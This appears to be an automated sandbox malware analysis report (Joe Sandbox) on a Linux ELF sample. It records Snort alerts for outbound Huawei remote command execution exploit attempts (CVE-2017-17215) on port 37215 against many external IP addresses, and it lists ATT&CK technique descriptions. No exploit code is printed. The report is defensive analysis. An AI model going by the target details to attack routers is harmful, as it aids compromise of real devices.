Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44436 -> 156.254.85.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48392 -> 156.224.14.101:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48392 -> 156.224.14.101:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46690 -> 156.241.124.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46690 -> 156.241.124.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43052 -> 156.241.73.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43052 -> 156.241.73.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53550 -> 41.233.233.17:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53550 -> 41.233.233.17:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38764 -> 156.230.18.22:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38764 -> 156.230.18.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33530 -> 156.253.35.140:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33530 -> 156.253.35.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53072 -> 156.247.27.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:53072 -> 156.247.27.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36780 -> 156.254.92.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36780 -> 156.254.92.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42524 -> 156.241.82.56:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42524 -> 156.241.82.56:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50212 -> 156.230.31.63:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50212 -> 156.230.31.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35056 -> 156.241.88.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:35056 -> 156.241.88.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44392 -> 156.224.11.38:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44392 -> 156.224.11.38:37215

Source: global traffic	TCP traffic: 143.110.184.61 ports 18039,17094,2,3,4,6,4236,7669
Source: global traffic	TCP traffic: 197.7.174.22 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 197.102.17.159
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.186.159
Source: unknown	TCP traffic detected without corresponding DNS query: 156.0.229.191
Source: unknown	TCP traffic detected without corresponding DNS query: 197.112.153.170
Source: unknown	TCP traffic detected without corresponding DNS query: 197.184.173.239
Source: unknown	TCP traffic detected without corresponding DNS query: 197.33.62.200
Source: unknown	TCP traffic detected without corresponding DNS query: 41.225.143.77
Source: unknown	TCP traffic detected without corresponding DNS query: 156.39.93.84
Source: unknown	TCP traffic detected without corresponding DNS query: 156.224.168.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.85.17.12
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.162.125
Source: unknown	TCP traffic detected without corresponding DNS query: 197.57.37.34
Source: unknown	TCP traffic detected without corresponding DNS query: 197.181.55.199
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.37.204
Source: unknown	TCP traffic detected without corresponding DNS query: 41.115.7.226
Source: unknown	TCP traffic detected without corresponding DNS query: 41.40.41.18
Source: unknown	TCP traffic detected without corresponding DNS query: 156.87.163.230
Source: unknown	TCP traffic detected without corresponding DNS query: 156.129.95.40
Source: unknown	TCP traffic detected without corresponding DNS query: 197.217.218.8
Source: unknown	TCP traffic detected without corresponding DNS query: 197.168.117.225
Source: unknown	TCP traffic detected without corresponding DNS query: 41.232.212.31
Source: unknown	TCP traffic detected without corresponding DNS query: 41.147.79.141
Source: unknown	TCP traffic detected without corresponding DNS query: 156.239.36.25
Source: unknown	TCP traffic detected without corresponding DNS query: 156.119.113.175
Source: unknown	TCP traffic detected without corresponding DNS query: 41.0.192.85
Source: unknown	TCP traffic detected without corresponding DNS query: 41.229.223.180
Source: unknown	TCP traffic detected without corresponding DNS query: 41.13.98.136
Source: unknown	TCP traffic detected without corresponding DNS query: 197.182.229.208
Source: unknown	TCP traffic detected without corresponding DNS query: 197.252.214.14
Source: unknown	TCP traffic detected without corresponding DNS query: 197.29.205.143
Source: unknown	TCP traffic detected without corresponding DNS query: 41.57.121.180
Source: unknown	TCP traffic detected without corresponding DNS query: 156.252.196.58
Source: unknown	TCP traffic detected without corresponding DNS query: 156.215.250.121
Source: unknown	TCP traffic detected without corresponding DNS query: 156.233.214.241
Source: unknown	TCP traffic detected without corresponding DNS query: 156.63.85.86
Source: unknown	TCP traffic detected without corresponding DNS query: 41.255.254.45
Source: unknown	TCP traffic detected without corresponding DNS query: 197.206.184.143
Source: unknown	TCP traffic detected without corresponding DNS query: 197.209.65.100
Source: unknown	TCP traffic detected without corresponding DNS query: 197.225.186.74
Source: unknown	TCP traffic detected without corresponding DNS query: 197.203.9.58
Source: unknown	TCP traffic detected without corresponding DNS query: 156.52.124.101
Source: unknown	TCP traffic detected without corresponding DNS query: 156.31.187.59
Source: unknown	TCP traffic detected without corresponding DNS query: 156.121.84.234
Source: unknown	TCP traffic detected without corresponding DNS query: 41.141.48.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.155.196.208
Source: unknown	TCP traffic detected without corresponding DNS query: 197.140.184.31
Source: unknown	TCP traffic detected without corresponding DNS query: 41.238.57.208
Source: unknown	TCP traffic detected without corresponding DNS query: 41.127.254.249
Source: unknown	TCP traffic detected without corresponding DNS query: 41.238.117.181
Source: unknown	TCP traffic detected without corresponding DNS query: 41.31.147.62

Source: yP1n2CG3Da.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: yP1n2CG3Da.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report yP1n2CG3Da.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: yP1n2CG3Da.elf PID: 6207, Parent PID: 6121

General

Chronological Activities

Analysis Process: yP1n2CG3Da.elf PID: 6209, Parent PID: 6207

General

Chronological Activities

Analysis Process: yP1n2CG3Da.elf PID: 6211, Parent PID: 6209

General

Chronological Activities

Analysis Process: yP1n2CG3Da.elf PID: 6216, Parent PID: 6211

General

Chronological Activities

Analysis Process: yP1n2CG3Da.elf PID: 6212, Parent PID: 6209

Linux Analysis Report
yP1n2CG3Da.elf